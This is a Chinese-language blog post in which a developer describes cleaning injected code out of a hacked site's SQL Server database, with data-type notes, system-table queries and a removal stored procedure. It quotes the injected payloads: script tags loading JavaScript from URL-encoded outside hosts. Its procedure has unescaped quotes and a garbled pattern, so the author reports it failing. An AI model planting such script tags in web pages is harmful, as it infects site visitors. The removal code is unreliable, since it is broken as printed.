删除注入的SQL字符

前些天孙姐给我说我们一个网站有问题,看了下里面被注入了很多代码

 

 

  1. "></title><script src=http://%73%61%79%38%2E%75%73/s.js></script><!"></title><script src=http://%73%61%79%38%2E%75%73/s.js></script><!"></title><script src=http://%73%61%79%38%2E%75%73/s.js></script><!"></title><script src=http://%73%61%79%38%2E%75%73/s.js></script><!"></title><script src=http://%66%75%63%6B%75%75%2E%75%

我直接把他们都替换掉了。把网站的防止注入代码也写上了!

 

发现我们另一个网站上的数据库中的表中的一个字段都被注入了一段代码

           </title><script src=http://%6b%6b%36%2e%75%73/1.js></script>

还是原来被SQL注入后的,我们网站有的栏目是生成静态了,有的是动态生成的,还要从数据库中提取数据,这个时候提取就会出问题的。而且在GOOGLE上搜索也会被冠以警告的标签。

如下图

 

 

但是这个字段是NTEXT的,上次我替换这个的时候直接把改成VARCHAR但是数据有的不完整了,这次看了下有的数据比较长,有10000多,如果改为VARCHAR又会出现数据截断。

 

 

 

nvarchar

可变长度 Unicode 数据,其最大长度为 4,000 字符。sysname 是系统提供用户定义的数据类型,在功能上等同于 nvarchar(128),用于引用数据库对象名。

ntext

可变长度 Unicode 数据,其最大长度为 2^30 - 1 (1,073,741,823) 个字符。

 

 

varchar

可变长度的非 Unicode 数据,最长为 8,000 个字符。

 

MSSQL中如果计算ntext字段内容的长度,用len不行...

用len出错:
[SQL Server]函数 len 的参数 1 的数据类型 ntext 无效

对于ntext,text,image请使用datalength函数取得字符串长度,注意ntext是unicode字符,一个字符长度2(不管是不是中文),所以datalength得出的长度是字符数*2

--读取库中的所有表名
select name from sysobjects where xtype='u'

--读取指定表的所有列名
select name from syscolumns where id=(select max(id) from sysobjects where xtype='u' and name='表名')
获取数据库表名和字段
sqlserver中各个系统表的作用
sysaltfiles 主数据库 保存数据库的文件
syscharsets 主数据库 字符集与排序顺序
sysconfigures 主数据库 配置选项
syscurconfigs 主数据库 当前配置选项
sysdatabases 主数据库 服务器中的数据库
syslanguages 主数据库 语言
syslogins 主数据库 登陆帐号信息
sysoledbusers 主数据库 链接服务器登陆信息
sysprocesses 主数据库 进程
sysremotelogins主数据库 远程登录帐号

syscolumns 每个数据库 列
sysconstrains 每个数据库 限制
sysfilegroups 每个数据库 文件组
sysfiles 每个数据库 文件
sysforeignkeys 每个数据库 外部关键字
sysindexs 每个数据库 索引
sysmenbers 每个数据库 角色成员
sysobjects 每个数据库 所有数据库对象
syspermissions 每个数据库 权限
systypes 每个数据库 用户定义数据类型
sysusers 每个数据库 用户

 

 


create proc deleteJS


as

create table #temp
(
tempId int identity,
tName varchar(80)
)
insert into #temp(tName) select name from sysobjects where xtype='u' and name like '%news'--将结果存储到临时表中

declare @id int
select @id = min(tempId) from #temp
while @id is not null

begin
declare @tableName varchar(80)
    select @tableName=tName from #temp where tempId = @id
    --开始进行处理这个表

  declare @ResultSql varchar(600)
  set @ResultSql='update '+rtrim(@tableName)+' set content=replace(convert(varchar(6200),content),'<</title>)','') where DATALENGTH(content)<6000'--小于6000的进行处理
   exec(@ResultSql)
 set @ResultSql='update '+rtrim(@tableName)+' set content=replace(convert(varchar(6200),content),'</title>','') where DATALENGTH(content)<6000'--小于6000的进行处理
   exec(@ResultSql)
 set @ResultSql='update '+rtrim(@tableName)+' set content=replace(convert(varchar(6200),content),'<script src=http://%6b%6b%36%2e%75%73/1.js>','') where DATALENGTH(content)<6000'--小于6000的进行处理
  exec(@ResultSql)
 set @ResultSql='update '+rtrim(@tableName)+' set content=replace(convert(varchar(6200),content),'</script>','') where DATALENGTH(content)<6000'--小于6000的进行处理
  exec(@ResultSql)
 -- 处理结束
    select @id = min( tempId ) from #temp where tempId > @id
end

此存储过程没通过 因为发现这个太耗资源  单一一个语句执行起来都N久没反应,数据库中的数据还是有点多!比较恼火中。。

你可能感兴趣的:(sql,sql,数据库,server,服务器,sqlserver,远程登录)